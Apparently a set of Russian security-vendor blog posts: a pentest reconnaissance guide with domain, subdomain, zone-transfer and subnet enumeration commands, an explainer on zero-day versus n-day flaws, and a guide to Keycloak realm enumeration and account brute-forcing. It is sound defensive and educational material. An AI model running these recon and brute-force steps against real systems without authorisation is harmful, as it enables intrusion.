Для начала нам необходимы первичные данные, такие как название организации и хотя бы один домен второго уровня. На основе этих данных открывается большой объем дополнительной информации о компании, разберем отдельно каждый шаг разведки.

Данные о связанных организациях

Самым первым шагом будет простой запрос с использованием Whois:

whois metascan.ru

Или массовый сбор данных: https://github.com/melbadry9/WhoEnum

Используя такую простую команду мы получаем уже немало важных данных:

• ИНН
• Полное название организации
• DNS сервера

На основе ИНН мы можем получить информацию о связанных компаниях с использованием простого поиска по ИНН или названию организации в поисковых системах. Можно обнаружить у компании приобретения в виде дочерних компаний и расширять объем данных для разведки новыми доменами второго уровня таких поглощенных организаций.

Домены второго уровня

На этом этапе наша задача собрать максимальное количество доменов второго уровня (apex доменов). Имя на руках полную информацию об организации и поглощениях, можно выполнить поиск разными способами:

• Reverse IP lookup
• https://github.com/hakluke/hakip2host
• cat ip-list.txt | hakip2host | grep -Eo "[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" | unfurl -u apexes | anew apex.txt
• Сервисы hackertarget, viewdns, ipinfo.io, domaintools, dnsdumpster и другие
• https://github.com/Josue87/AnalyticsRelationships
• cat apex.txt | analyticsrelationships
• По сертификатам
• https://github.com/glebarez/cero
• cat ip-list.txt | cero > .tmp/cero.txt
• cat .tmp/cero.txt | unfurl -u apexes | anew apex.txt
• cat .tmp/cero.txt | unfurl -u domains | anew subdomains-unresolved.txt
• cat apex.txt | cero
• crt.sh и другие
• Reverse Whois (org, email, registrant name и др.)
• https://github.com/MilindPurswani/whoxyrm
• whoxyrm -company-name "Company Inc."
• whoxyrm -email "admin@company.com"
• whoxyrm -keyword "company.com"
• Сервисы Whoxy, Viewdns, DNSlytics, IntelX и другие
• Reverse PTR
• https://github.com/projectdiscovery/dnsx
• dnsx -retry 3 -a -aaaa -cname -ns -ptr -mx -soa -resp -silent -l subdomains.txt
• Дорки
• Поиск вида "Company © 2025" или на основе других уникальных данных о компании собранных с известных доменов второго уровня

Расширив список доменов второго уровня мы готовы переходить к следующему этапу поиска поддоменов.

Трансфер зоны

Очень важно проверять возможность трансфера зоны на DNS серверах всех доменов второго уровня которые удалось собрать. Эту проверку часто забывают делать, либо не знают о ней совсем, но делается очень просто:

1. Узнаем DNS сервера: dig -t NS metascan.ru
2. Проверяем возможность трансфера: dig axfr domain.com @ns.domain.com

Если трансфер допускается, это является мисконфигурацией при которой атакующий может получить полный список всех DNS записей.

Скрипт для быстрой проверки группы доменов на возможность трансфера:

for ns in $(dig +short ns "$domain"); do dig axfr "$domain" @"$ns" >> zonetransfer.txt; done
        if [ -s "subdomains/zonetransfer.txt" ]; then
            if ! grep -q "Transfer failed" zonetransfer.txt ; then notification "Zone transfer found on ${domain}!" info; fi
        fi

Пассивный поиск поддоменов

Сбор поддоменов можно осуществлять на основе данных из пассивных источников, таких как Censys, Shodan, crt.sh и других, так и активным методом с перебором существующих поддоменов через обращения к DNS серверам.

Утилиты которые могут осуществлять пассивный поиск:

• https://github.com/OWASP/Amass
• amass enum -passive -timeout 180 -df apex.txt && oam_subs -df apex.txt -names | anew sub-unresolved.txt
• https://github.com/projectdiscovery/subfinder
• subfinder -all -dL apex.txt -silent | anew sub-unresolved.txt
• https://github.com/laramies/theHarvester
• python theHarvester.py -b all -d <company.com>
• https://github.com/Findomain/Findomain
• findomain --quiet -t <company.com>
• https://github.com/incogbyte/shosubgo
• shosubgo -d <company.com> -s APIKEY | anew sub-unresolved.txt
• https://github.com/gwen001/github-subdomains
• github-subdomains -d <company.com> -t $GITHUB_TOKENS -o github-sub.txt
• https://github.com/xnl-h4ck3r/waymore
• python3 waymore -i apex.txt
• cd "waymore/results/<apex>" && cat waymore.txt | unfurl -u domains | anew sub-unresolved.txt
• И многие другие.

Очень важно конфигурировать API ключи для подобных инструментов, так как очень часто регистрация на вспомогательных ресурсах свободная, а API ключ - бесплатный. При наших тестах объем данных сильно различался при сборе данных с API ключами и без.

Собрав достаточное количество доменов с помощью пассивного метода мы получаем немалый массив данных для подготовки к активному поиску.

Пермутации и активный поиск поддоменов

Перед тем, как выполнить брутфорс поддоменов, необходимо подобрать правильный словарь. В этом нам могут помочь пермутации на основе собранных данных:

• https://github.com/projectdiscovery/alterx
• alterx -list subdomains.txt -enrich > perm-alterx.txt
• alterx -list subdomains.txt -enrich -p '{{word}}-{{year}}.{{suffix}}' -pp word=keywords.txt -pp year=2023 > perm-alterx-complex.txt
• https://github.com/Josue87/gotator
• gotator -sub subdomains.txt -perm $PERMUTATIONS -depth 1 -numbers 3 -mindup -adv -md -silent | head -c 1342177280 > perm-gotator.txt
• https://github.com/resyncgg/ripgen
• ripgen -d subdomains.txt -w $PERMUTATIONS | head -c 1342177280 > perm-ripgen.txt
• https://github.com/cramppet/regulator
• python3 main.py -t <company.com> -f subdomains.txt -o perm-regulator.txt
• https://github.com/trickest/dsieve
• dsieve -if subdomains.txt -f 3 -top 10 > perm-dsoeve.txt

Собрав хороший словарь остается выполнить только перебор поддоменов. Очень важно понимать как устроен этот процесс, так как словари могут достигать огромных значений (5-10 млн), поэтому нам важно выполнять перебор именно на уровне DNS A записи. Частой ошибкой бывает использование не предназначенных для этого инструментов, таких как ffuf, httpx и тому подобных, которые делают именно HTTP запрос, а не DNS.

Очень важно подготовить для этих утилит список доверенных резолверов чтобы не получить блокировку от основных:

• https://github.com/trickest/resolvers
• wget -q -O - https://raw.githubusercontent.com/trickest/resolvers/main/resolvers.txt > "$TOOLS/resolvers.txt"
• https://github.com/vortexau/dnsvalidator
• dnsvalidator -tL https://public-dns.info/nameservers.txt -threads 200 -o $RESOLVERS --silent
• dnsvalidator -tL https://raw.githubusercontent.com/blechschmidt/massdns/master/lists/resolvers.txt -threads 200 -o resolvers-tmp.txt --silent

Для быстрого и эффективного перебора поддоменов по большим словарям можно использовать:

• https://github.com/d3mondev/puredns
• puredns bruteforce $SUB_BIG <company.com> -w sub-brute.txt -r $RESOLVERS --resolvers-trusted $RESOLVERS_TRUSTED -l 5000 --rate-limit-trusted 400 --wildcard-tests 30 --wildcard-batch 1500000
• puredns resolve sub-unresolved.txt -w subdomains-resolved.txt -r $RESOLVERS --resolvers-trusted $RESOLVERS_TRUSTED -l 5000 --rate-limit-trusted 400 --wildcard-tests 30 --wildcard-batch 1500000
• https://github.com/projectdiscovery/shuffledns
• shuffledns -d <company.com> -w $SUB -r $RESOLVERS
• https://github.com/blechschmidt/massdns

Поиск подсетей

Теперь мы обладаем большим объемом данных, среди которых домены второго уровня и поддомены. Почему поиск подсетей почти что в конце? Если собрать IP адреса с небольшого списка доменов, то можем упустить какие-то IP адреса входящие в более крупные сети. Имея на руках полноценный список доменов и поддоменов количество IP адресов из A записей значительно увеличивается.

Кроме этого, часто домены могут быть спрятаны за Cloudflare или располагаться на хостингах, такие IP адреса бесполезны и не помогут найти реальные подсети организации.

На основе полученных IP адресов собираем все ASN и находим их подсети:

• https://github.com/projectdiscovery/asnmap
• asnmap -a ASN0000 -silent
• asnmap -i 0.0.0.0 -org COMPANY -d domain.com -a ASN0000
• https://github.com/j3ssie/metabigor
• echo "COMPANY" | metabigor net --org -o ip-list.txt
• echo "ASN0000" | metabigor net --asn -o ip-list.txt
• https://github.com/dhn/spk
• spk -json -s "COMPANY"
• https://github.com/OWASP/Amass
• amass intel -org "COMPANY"
• https://github.com/projectdiscovery/mapcidr
• cat networks-list.txt | mapcidr -silent | anew -q ip-list.txt
• echo ASN0000 | mapcidr -silent | anew -q ip-list.txt
• https://github.com/pirxthepilot/wtfis
• https://github.com/yassineaboukir/Asnlookup
• Shodan Favicon: http.favicon.hash:123456789 hostname:"company"

Данные о подсетях можно найти в таких базах, как Ripe:

• https://apps.db.ripe.net/db-web-ui/fulltextsearch

В качестве ключевых слов можно использовать известные IP, Email адрес администратора, сайт компании, название организации и другие данные.

Заключение

Разведка является неотъемлемой частью успешного пентеста, поэтому очень важно в деталях понимать данный процесс и использовать его для максимального расширения объема проверяемых ресурсов, ведь даже 1 забытый IP может привести к RCE и компрометации основной инфраструктуры.

Метаскан имеет встроенный модуль проведения разведки и команду опытных пентестеров которые позволят максимально увеличить покрытие защищаемого периметра и не упустить даже менее известные домены.

Кроме этого, с интеграцией которая позволяет автоматически забирать все DNS записи исключаются случаи где домен мог быть упущен если он отсутствует где либо и его название крайне необычное.

В информационной безопасности часто звучат два термина: zero-day и n-day. Оба связаны с уязвимостями в ПО, но между ними есть принципиальная разница, которую должен понимать любой специалист по ИБ, руководитель IT-команды или даже просто администратор.

Что такое zero-day?

Zero-day (0day) — это уязвимость, о существовании которой разработчик программного обеспечения еще не знает, а эксплойт для нее уже существует.

То есть у атакующего есть «нулевой день» преимущества — защита отсутствует, патчей нет, сигнатур в антивирусах тоже нет.

Ключевой момент: в момент эксплуатации zero-day атаки защиты фактически не существует.

Примеры из практики

• Stuxnet (2010) — знаменитый червь, атаковавший иранские ядерные объекты. Использовал сразу несколько zero-day уязвимостей в Windows и SCADA.
• CVE-2021-1732 (Windows Win32k Elevation of Privilege) — активно эксплуатировалась хакерами в начале 2021 года еще до выхода патча.
• Недавний пример (CVE-2025-7775) — zero-day в Citrix, экспулатируемая в купе с ИИ-фреймворками.

Zero-day — это оружие, которым обычно пользуются либо гос. структуры и APT-группировки, либо очень мотивированные киберпреступники.

Что такое n-day

N-day — это уязвимость, о которой уже известно, и производитель успел выпустить обновление.

n — это количество дней с момента публикации патча или раскрытия уязвимости.

Но есть нюанс: многие организации обновляются медленно, и этим с удовольствием пользуются атакующие.

Примеры из практики

• ProxyShell / ProxyLogon в Microsoft Exchange (2021) — патчи вышли, но тысячи серверов остались незащищенными, и волна атак прокатилась по всему миру.
• Citrix Bleed 2 — уязвимость в Citrix NetScaler. Несмотря на быстрый релиз исправления, эксплойты для n-day атак распространялись буквально через пару дней и многие панели все еще остаются уязвимы.

Почему важно различать zero-day и n-day

• Zero-day звучит страшнее – защиты нет, эксплойты продаются в темном интернете, а атаки точечные.
• N-day — более распространенный риск. После выхода патча уязвимость становится достоянием общественности: исследователи пишут блоги, хакеры делают PoC, эксплойты попадают в Metasploit. И если компания не обновляется вовремя — риск стать жертвой атаки резко возрастает.

Практический вывод

1. Не считать zero-day единственной угрозой. Они опасны, но шансов пострадать от n-day гораздо больше.
2. Регулярный патч-менеджмент критически важен. Многие громкие инциденты происходили именно из-за игнорирования уже известных дыр.
3. Мониторинг и реагирование. Даже при наличии обновлений нужно отслеживать активность в сети: эксплойты под n-day появляются буквально на следующий день.
4. Threat intelligence помогает понимать, какие уязвимости уже эксплуатируются в дикой природе, и правильно расставлять приоритеты.

Итог

• Zero-day — редкая, дорогая и часто целевая атака.
• N-day — массовая угроза, которую используют все: от скрипт-кидди до кибермафии.

Большинство реальных инцидентов в компаниях — это не экзотический zero-day, а банальный n-day, который просто проигнорировали.

Поэтому главный совет: не оставляйте дыры открытыми. Закрывайте n-day сегодня, чтобы завтра не оказаться в заголовках новостей.

Metascan позволяет защититься от известных n-day уязвимостей, а наши эксперты имеют несколько найденных 0-day и зарегистрированных CVE.

Как устроен Keycloak

Несмотря на хорошую защищенность Keycloak, существует немалый объем CVE уязвимостей применимых к прошлым версиям. Но мы разберем разновидности атак применимых даже при использовании самой последней версии.

Для начала разберемся что такое Realms в контексте Keycloak — это изолированные друг от друга среды предназначенные для разделения набора групп, пользователей, ролей и прав. При первичном развертывании Keycloak создается первичная среда — Master Realm. Это административная среда позволяющая управлять всеми остальными средами в рамках Keycloak инсталляции, поэтому крайне не рекомендуется использовать эту среду для авторизации в других приложениях инфраструктуры.

Разведка

Проверить используемую конфигурацию можно несколькими способами:

• OpenID: /auth/realms/REALM_NAME/.well-known/openid-configuration

• SAML: /auth/realms/realm_name/protocol/saml/descriptor

• Публичные ключи: /auth/realms/realm_name/

Точку с публичными ключами можно использовать для перечисления существующих сред:

Некоторые среды могут поддерживать возможность самостоятельной регистрации:

Но даже если опция регистрации была скрыта со страницы, можно попробовать обратиться напрямую:

• /auth/realms/<realm_name>/login-actions/registration?client_id=<same_as_the_login_page>&tab_id=<same_as_the_login_form>

Крайне не рекомендуется допускать возможность самостоятельной регистрации в продуктивной среде.

У каждой отдельной среды есть собственный набор "клиентов" (client_id) — приложений которым разрешено выполнять аутентификацию через Keycloak:

• /auth/realms/<realm_name>/protocol/openid-connect/auth?**client_id=account-console**&redirect_uri=<...>&state=<...>&response_mode=<...>&response_type=<...>&**scope=openid**&nonce=<...>&code_challenge=<...>&code_challenge_method=<...>

При установке по умолчанию доступны следующие клиенты:

Кроме этого, для клиентов могут существовать и отдельный набор данных (scopes) к которым запрашивается доступ при аутентификации:

• /auth/realms/<realm_name>/protocol/openid-connect/auth?**client_id=account-console**&redirect_uri=<...>&state=<...>&response_mode=<...>&response_type=<...>&**scope=openid**&nonce=<...>&code_challenge=<...>&code_challenge_method=<...>

Стандартный набор данных которые можно запрашивать:

Keycloak так же поддерживает аутентификацию через делегацию провайдерам идентификации, таким как Gitlab, Google, Github и др.:

• /auth/realms/REALM_NAME/broker/IDP_NAME/endpoint

Их можно перебрать или они могут быть доступны в UI:

https://aaronparecki.com/oauth-2-simplified/#authorization

Перечисление существующих пользователей возможно при условии наличия доступа хотя бы к одному аккаунту через страницу профиля:

В результате этапа разведки мы можем получить уже немалый объем полезной информации:

• Доступные среды (realms)
• Доступные среды с саморегистрацией
• Список клиентов для каждой среды (client_id)
• Список доступных данных для запроса (scope)
• Email адреса существующих пользователей для среды где удалось получить аккаунт
• Список используемых дополнительных провайдеров для аутентификации

Брутфорс атаки

По результатам разведки теперь появляется возможность для осуществления брутфорс атак с целью подбора учетных записей среды. По умолчанию защита от брутфорса отключена в Keycloak, поэтому в большинстве случаев подобные атаки могут быть успешными.

Препятствием может стать защита от CSRF, поэтому для брутфорс атак на Keycloak потребуется реализация скрипта или использование набора настроек в Burp Suite.

Реальные случаи взлома

В результате анализа доступных на периметре Keycloak нашим специалистам в прошлом удавалось получить доступ к административным средам и захватить полностью контроль над системой аутентификации, что открывает огромные возможности для дальнейшего закрепления в инфраструктуре:

Заключение

Несмотря на хорошую защищенность Keycloak, даже при стандартной конфигурации появляются высокие риски для инфраструктуры, поэтому крайне рекомендуем проверять и применять все рекомендации на основе официальной документации:

https://www.keycloak.org/docs/latest/server_admin/#mitigating_security_threats

Метаскан позволяет эффективно выявить все доступные управляющие среды Keycloak (Master Realm) на периметре, а наши пентестеры могут помочь вам выявить слабые учетные записи и защитить используемые на периметре Keycloak.